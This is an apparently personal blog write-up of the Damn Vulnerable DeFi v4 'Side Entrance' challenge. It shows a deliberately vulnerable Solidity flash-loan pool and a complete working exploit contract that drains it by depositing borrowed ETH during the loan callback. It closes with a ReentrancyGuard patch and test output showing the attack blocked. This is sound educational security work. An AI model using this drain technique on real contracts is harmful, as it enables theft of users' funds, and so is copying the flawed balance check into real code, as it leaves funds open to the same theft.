Damn Vulnerable DeFi V4 - 04 Side Entrance


Challenge

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.

It has 1000 ETH in balance already, and is offering free flashloans using the deposited ETH to promote their system.

Yoy start with 1 ETH in balance. Pass the challenge by rescuing all ETH from the pool and depositing it in the designated recovery account.

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

contract SideEntranceLenderPool {
    mapping(address => uint256) public balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];

        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }
}

Solve

This challenge requires us to drain all ETH from the pool and deposit it in the designated recovery account.

function _isSolved() private view {
    assertEq(address(pool).balance, 0, "Pool still has ETH");
    assertEq(recovery.balance, ETHER_IN_POOL, "Not enough ETH in recovery account");
}

The vulnerability in this challenge is the flashLoan(โ€ฆ) function used address(this).balance to determine whether the borrower has repaid the loan.

function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    if (address(this).balance < balanceBefore) { //@audit vulnerable!
        revert RepayFailed();
    }
}

To exploit this vulnerability, we can:

  1. Initiate a flashLoan(โ€ฆ) function call.

  2. The SideEntranceLenderPool will callback to msg.sender (which is controlled by us).

  3. We call deposit() function in the callback stack.
    This allows us to increase the balances[] out of the air. ๐Ÿ˜‰

  4. After flashLoan(โ€ฆ) function call, call withdraw() to withdraw all of the funds.

Full solution code:

function test_sideEntrance() public checkSolvedByPlayer {
    Exploit exp = new Exploit(pool, ETHER_IN_POOL);
    exp.start(); // step1: start borrow & deposit
    payable(recovery).transfer(ETHER_IN_POOL); // step4: transfer funds to `recovery`
}
//===============================================================
contract Exploit {
    SideEntranceLenderPool pool;
    uint256 ETHER_IN_POOL;

    constructor(SideEntranceLenderPool _pool, uint256 _ETHER_IN_POOL) {
        pool = _pool;
        ETHER_IN_POOL = _ETHER_IN_POOL;
    }

    function start() external {
        pool.flashLoan(ETHER_IN_POOL); // step1-1: borrow funds
        pool.withdraw(); // step2-1: withdraw funds
        payable(msg.sender).transfer(address(this).balance); // step3: transfer funds back to `player`
    }

    function execute() external payable {
        pool.deposit{value: msg.value}(); // step1-2: deposit funds
    }

    receive() external payable {} // step2-2: receive funds
}

Potential Patches

None, this level is just designed for fun.

I think in this challenge, using address(this).balance with payable deposit() function is dangers. If we want to break this game, we can try adding ReentrancyGuard to prevent borrower deposits funds in callback context.

import {ReentrancyGuard} from "openzeppelin-contracts/contracts/utils/ReentrancyGuard.sol";

contract SideEntranceLenderPool is ReentrancyGuard {
    function deposit() external payable nonReentrant {}
    function withdraw() external nonReentrant {}
    function flashLoan(uint256 amount) external nonReentrant {}
}
forge test --match-path test/side-entrance/SideEntrance.t.sol  -vvvv

  [197383] SideEntranceChallenge::test_sideEntrance()
    โ”œโ”€ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
    โ”‚   โ””โ”€ โ† [Return] 
    โ”œโ”€ [134220] โ†’ new Exploit@0xce110ab5927CC46905460D930CCa0c6fB4666219
    โ”‚   โ””โ”€ โ† [Return] 448 bytes of code
    โ”œโ”€ [23244] Exploit::start()
    โ”‚   โ”œโ”€ [20003] SideEntranceLenderPool::flashLoan(1000000000000000000000 [1e21])
    โ”‚   โ”‚   โ”œโ”€ [7640] Exploit::execute{value: 1000000000000000000000}()
    โ”‚   โ”‚   โ”‚   โ”œโ”€ [343] SideEntranceLenderPool::deposit{value: 1000000000000000000000}()
    โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€ โ† [Revert] ReentrancyGuardReentrantCall()
    โ”‚   โ”‚   โ”‚   โ””โ”€ โ† [Revert] ReentrancyGuardReentrantCall()
    โ”‚   โ”‚   โ””โ”€ โ† [Revert] ReentrancyGuardReentrantCall()
    โ”‚   โ””โ”€ โ† [Revert] ReentrancyGuardReentrantCall()
    โ””โ”€ โ† [Revert] ReentrancyGuardReentrantCall()
[FAIL. Reason: ReentrancyGuardReentrantCall()] test_sideEntrance() (gas: 197383)
0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. ๐Ÿซฃ